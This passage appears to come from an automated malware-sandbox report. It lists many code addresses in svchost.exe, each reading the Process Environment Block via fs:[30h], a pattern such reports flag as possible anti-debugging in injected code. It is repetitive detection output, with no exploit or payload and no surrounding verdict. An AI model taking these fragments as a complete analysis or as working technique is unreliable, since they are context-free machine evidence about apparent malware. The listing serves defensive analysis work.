                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031FA464 mov eax, dword ptr fs:[00000030h]2_2_031FA464
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BC490 mov eax, dword ptr fs:[00000030h]2_2_031BC490
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03130485 mov ecx, dword ptr fs:[00000030h]2_2_03130485
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316648A mov eax, dword ptr fs:[00000030h]2_2_0316648A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316648A mov eax, dword ptr fs:[00000030h]2_2_0316648A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316648A mov eax, dword ptr fs:[00000030h]2_2_0316648A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031C84BB mov eax, dword ptr fs:[00000030h]2_2_031C84BB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E4BC mov eax, dword ptr fs:[00000030h]2_2_0316E4BC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031324A2 mov eax, dword ptr fs:[00000030h]2_2_031324A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031324A2 mov ecx, dword ptr fs:[00000030h]2_2_031324A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031644A8 mov eax, dword ptr fs:[00000030h]2_2_031644A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031544D1 mov eax, dword ptr fs:[00000030h]2_2_031544D1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031544D1 mov eax, dword ptr fs:[00000030h]2_2_031544D1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031364F0 mov eax, dword ptr fs:[00000030h]2_2_031364F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D44F8 mov eax, dword ptr fs:[00000030h]2_2_031D44F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D44F8 mov eax, dword ptr fs:[00000030h]2_2_031D44F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316A4F0 mov eax, dword ptr fs:[00000030h]2_2_0316A4F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316A4F0 mov eax, dword ptr fs:[00000030h]2_2_0316A4F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BE4F2 mov eax, dword ptr fs:[00000030h]2_2_031BE4F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BE4F2 mov eax, dword ptr fs:[00000030h]2_2_031BE4F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E4EF mov eax, dword ptr fs:[00000030h]2_2_0316E4EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316E4EF mov eax, dword ptr fs:[00000030h]2_2_0316E4EF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03138B10 mov eax, dword ptr fs:[00000030h]2_2_03138B10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03138B10 mov eax, dword ptr fs:[00000030h]2_2_03138B10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03138B10 mov eax, dword ptr fs:[00000030h]2_2_03138B10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140B10 mov eax, dword ptr fs:[00000030h]2_2_03140B10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140B10 mov eax, dword ptr fs:[00000030h]2_2_03140B10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140B10 mov eax, dword ptr fs:[00000030h]2_2_03140B10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140B10 mov eax, dword ptr fs:[00000030h]2_2_03140B10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315EB1C mov eax, dword ptr fs:[00000030h]2_2_0315EB1C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312CB1E mov eax, dword ptr fs:[00000030h]2_2_0312CB1E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316CB20 mov eax, dword ptr fs:[00000030h]2_2_0316CB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BCB20 mov eax, dword ptr fs:[00000030h]2_2_031BCB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BCB20 mov eax, dword ptr fs:[00000030h]2_2_031BCB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BCB20 mov eax, dword ptr fs:[00000030h]2_2_031BCB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03204B67 mov eax, dword ptr fs:[00000030h]2_2_03204B67
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313AB70 mov eax, dword ptr fs:[00000030h]2_2_0313AB70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313AB70 mov eax, dword ptr fs:[00000030h]2_2_0313AB70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313AB70 mov eax, dword ptr fs:[00000030h]2_2_0313AB70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313AB70 mov eax, dword ptr fs:[00000030h]2_2_0313AB70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313AB70 mov eax, dword ptr fs:[00000030h]2_2_0313AB70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313AB70 mov eax, dword ptr fs:[00000030h]2_2_0313AB70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136B70 mov eax, dword ptr fs:[00000030h]2_2_03136B70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136B70 mov eax, dword ptr fs:[00000030h]2_2_03136B70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136B70 mov eax, dword ptr fs:[00000030h]2_2_03136B70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E6B77 mov eax, dword ptr fs:[00000030h]2_2_031E6B77
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03164B79 mov eax, dword ptr fs:[00000030h]2_2_03164B79
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F8BBE mov eax, dword ptr fs:[00000030h]2_2_031F8BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F8BBE mov eax, dword ptr fs:[00000030h]2_2_031F8BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F8BBE mov eax, dword ptr fs:[00000030h]2_2_031F8BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F8BBE mov eax, dword ptr fs:[00000030h]2_2_031F8BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03204BE0 mov eax, dword ptr fs:[00000030h]2_2_03204BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D6BDE mov ebx, dword ptr fs:[00000030h]2_2_031D6BDE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D6BDE mov eax, dword ptr fs:[00000030h]2_2_031D6BDE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03158BD1 mov eax, dword ptr fs:[00000030h]2_2_03158BD1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03158BD1 mov eax, dword ptr fs:[00000030h]2_2_03158BD1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312EBC0 mov eax, dword ptr fs:[00000030h]2_2_0312EBC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B4BC0 mov eax, dword ptr fs:[00000030h]2_2_031B4BC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B4BC0 mov eax, dword ptr fs:[00000030h]2_2_031B4BC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B4BC0 mov eax, dword ptr fs:[00000030h]2_2_031B4BC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B4BC0 mov eax, dword ptr fs:[00000030h]2_2_031B4BC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316AA0E mov eax, dword ptr fs:[00000030h]2_2_0316AA0E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316AA0E mov eax, dword ptr fs:[00000030h]2_2_0316AA0E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B4A57 mov eax, dword ptr fs:[00000030h]2_2_031B4A57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B4A57 mov eax, dword ptr fs:[00000030h]2_2_031B4A57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315EA40 mov eax, dword ptr fs:[00000030h]2_2_0315EA40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315EA40 mov eax, dword ptr fs:[00000030h]2_2_0315EA40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031CAA40 mov eax, dword ptr fs:[00000030h]2_2_031CAA40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031CAA40 mov eax, dword ptr fs:[00000030h]2_2_031CAA40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E6A80 mov eax, dword ptr fs:[00000030h]2_2_031E6A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03204AE8 mov eax, dword ptr fs:[00000030h]2_2_03204AE8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140ACE mov eax, dword ptr fs:[00000030h]2_2_03140ACE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140ACE mov eax, dword ptr fs:[00000030h]2_2_03140ACE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D4AC2 mov eax, dword ptr fs:[00000030h]2_2_031D4AC2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B0AFF mov eax, dword ptr fs:[00000030h]2_2_031B0AFF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B0AFF mov eax, dword ptr fs:[00000030h]2_2_031B0AFF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B0AFF mov eax, dword ptr fs:[00000030h]2_2_031B0AFF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D0AE0 mov eax, dword ptr fs:[00000030h]2_2_031D0AE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D2AE0 mov eax, dword ptr fs:[00000030h]2_2_031D2AE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D2AE0 mov eax, dword ptr fs:[00000030h]2_2_031D2AE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03150AEB mov eax, dword ptr fs:[00000030h]2_2_03150AEB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03150AEB mov eax, dword ptr fs:[00000030h]2_2_03150AEB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03150AEB mov eax, dword ptr fs:[00000030h]2_2_03150AEB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03130AED mov eax, dword ptr fs:[00000030h]2_2_03130AED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03130AED mov eax, dword ptr fs:[00000030h]2_2_03130AED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03130AED mov eax, dword ptr fs:[00000030h]2_2_03130AED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03186912 mov eax, dword ptr fs:[00000030h]2_2_03186912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0320492D mov eax, dword ptr fs:[00000030h]2_2_0320492D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03162919 mov eax, dword ptr fs:[00000030h]2_2_03162919
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03162919 mov eax, dword ptr fs:[00000030h]2_2_03162919
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0318693A mov eax, dword ptr fs:[00000030h]2_2_0318693A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0318693A mov eax, dword ptr fs:[00000030h]2_2_0318693A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0318693A mov eax, dword ptr fs:[00000030h]2_2_0318693A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F892E mov eax, dword ptr fs:[00000030h]2_2_031F892E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031F892E mov eax, dword ptr fs:[00000030h]2_2_031F892E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AC920 mov ecx, dword ptr fs:[00000030h]2_2_031AC920
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AC920 mov eax, dword ptr fs:[00000030h]2_2_031AC920
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AC920 mov eax, dword ptr fs:[00000030h]2_2_031AC920
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031AC920 mov eax, dword ptr fs:[00000030h]2_2_031AC920
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03154955 mov eax, dword ptr fs:[00000030h]2_2_03154955
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03154955 mov eax, dword ptr fs:[00000030h]2_2_03154955
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316C958 mov eax, dword ptr fs:[00000030h]2_2_0316C958
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316C944 mov eax, dword ptr fs:[00000030h]2_2_0316C944
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315E94E mov eax, dword ptr fs:[00000030h]2_2_0315E94E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136970 mov eax, dword ptr fs:[00000030h]2_2_03136970
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136970 mov eax, dword ptr fs:[00000030h]2_2_03136970
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136970 mov eax, dword ptr fs:[00000030h]2_2_03136970
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136970 mov eax, dword ptr fs:[00000030h]2_2_03136970
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136970 mov eax, dword ptr fs:[00000030h]2_2_03136970
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136970 mov eax, dword ptr fs:[00000030h]2_2_03136970
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03136970 mov eax, dword ptr fs:[00000030h]2_2_03136970
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314096B mov eax, dword ptr fs:[00000030h]2_2_0314096B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314096B mov eax, dword ptr fs:[00000030h]2_2_0314096B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316C98F mov eax, dword ptr fs:[00000030h]2_2_0316C98F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316C98F mov eax, dword ptr fs:[00000030h]2_2_0316C98F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316C98F mov eax, dword ptr fs:[00000030h]2_2_0316C98F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D0980 mov eax, dword ptr fs:[00000030h]2_2_031D0980
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D0980 mov eax, dword ptr fs:[00000030h]2_2_031D0980
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031689B0 mov edx, dword ptr fs:[00000030h]2_2_031689B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031C69B0 mov eax, dword ptr fs:[00000030h]2_2_031C69B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031C69B0 mov eax, dword ptr fs:[00000030h]2_2_031C69B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031C69B0 mov ecx, dword ptr fs:[00000030h]2_2_031C69B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A0 mov eax, dword ptr fs:[00000030h]2_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A0 mov eax, dword ptr fs:[00000030h]2_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A0 mov eax, dword ptr fs:[00000030h]2_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A0 mov eax, dword ptr fs:[00000030h]2_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A0 mov eax, dword ptr fs:[00000030h]2_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A0 mov eax, dword ptr fs:[00000030h]2_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A0 mov eax, dword ptr fs:[00000030h]2_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A0 mov eax, dword ptr fs:[00000030h]2_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313E9A0 mov eax, dword ptr fs:[00000030h]2_2_0313E9A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B89A0 mov eax, dword ptr fs:[00000030h]2_2_031B89A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031389C0 mov eax, dword ptr fs:[00000030h]2_2_031389C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031389C0 mov eax, dword ptr fs:[00000030h]2_2_031389C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031309F0 mov eax, dword ptr fs:[00000030h]2_2_031309F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031649F0 mov eax, dword ptr fs:[00000030h]2_2_031649F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031649F0 mov eax, dword ptr fs:[00000030h]2_2_031649F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032029CF mov eax, dword ptr fs:[00000030h]2_2_032029CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032029CF mov eax, dword ptr fs:[00000030h]2_2_032029CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316C819 mov eax, dword ptr fs:[00000030h]2_2_0316C819
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0316C819 mov eax, dword ptr fs:[00000030h]2_2_0316C819
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E0835 mov eax, dword ptr fs:[00000030h]2_2_031E0835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031BC870 mov eax, dword ptr fs:[00000030h]2_2_031BC870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E8890 mov eax, dword ptr fs:[00000030h]2_2_031E8890
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031E8890 mov eax, dword ptr fs:[00000030h]2_2_031E8890
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B488F mov eax, dword ptr fs:[00000030h]2_2_031B488F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03156882 mov eax, dword ptr fs:[00000030h]2_2_03156882
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03156882 mov eax, dword ptr fs:[00000030h]2_2_03156882
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03156882 mov eax, dword ptr fs:[00000030h]2_2_03156882
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0317088E mov eax, dword ptr fs:[00000030h]2_2_0317088E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0317088E mov edx, dword ptr fs:[00000030h]2_2_0317088E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0317088E mov eax, dword ptr fs:[00000030h]2_2_0317088E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031428C0 mov eax, dword ptr fs:[00000030h]2_2_031428C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031288C8 mov eax, dword ptr fs:[00000030h]2_2_031288C8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031288C8 mov eax, dword ptr fs:[00000030h]2_2_031288C8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031308CD mov eax, dword ptr fs:[00000030h]2_2_031308CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031308CD mov eax, dword ptr fs:[00000030h]2_2_031308CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313A8F0 mov eax, dword ptr fs:[00000030h]2_2_0313A8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313A8F0 mov eax, dword ptr fs:[00000030h]2_2_0313A8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313A8F0 mov eax, dword ptr fs:[00000030h]2_2_0313A8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313A8F0 mov eax, dword ptr fs:[00000030h]2_2_0313A8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313A8F0 mov eax, dword ptr fs:[00000030h]2_2_0313A8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0313A8F0 mov eax, dword ptr fs:[00000030h]2_2_0313A8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031648F0 mov eax, dword ptr fs:[00000030h]2_2_031648F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031C88FB mov eax, dword ptr fs:[00000030h]2_2_031C88FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03170F16 mov eax, dword ptr fs:[00000030h]2_2_03170F16
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03170F16 mov eax, dword ptr fs:[00000030h]2_2_03170F16
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03170F16 mov eax, dword ptr fs:[00000030h]2_2_03170F16
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03170F16 mov eax, dword ptr fs:[00000030h]2_2_03170F16
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314CF00 mov eax, dword ptr fs:[00000030h]2_2_0314CF00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0314CF00 mov eax, dword ptr fs:[00000030h]2_2_0314CF00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B8F3C mov eax, dword ptr fs:[00000030h]2_2_031B8F3C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B8F3C mov eax, dword ptr fs:[00000030h]2_2_031B8F3C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B8F3C mov ecx, dword ptr fs:[00000030h]2_2_031B8F3C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031B8F3C mov ecx, dword ptr fs:[00000030h]2_2_031B8F3C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03204F1D mov eax, dword ptr fs:[00000030h]2_2_03204F1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031EAF50 mov ecx, dword ptr fs:[00000030h]2_2_031EAF50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D0F49 mov eax, dword ptr fs:[00000030h]2_2_031D0F49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D0F49 mov eax, dword ptr fs:[00000030h]2_2_031D0F49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031D0F49 mov eax, dword ptr fs:[00000030h]2_2_031D0F49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03204F7C mov eax, dword ptr fs:[00000030h]2_2_03204F7C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0315AF72 mov eax, dword ptr fs:[00000030h]2_2_0315AF72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03186F70 mov eax, dword ptr fs:[00000030h]2_2_03186F70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312EF79 mov eax, dword ptr fs:[00000030h]2_2_0312EF79
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312EF79 mov eax, dword ptr fs:[00000030h]2_2_0312EF79
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0312EF79 mov eax, dword ptr fs:[00000030h]2_2_0312EF79
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031EEF66 mov eax, dword ptr fs:[00000030h]2_2_031EEF66
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov ecx, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
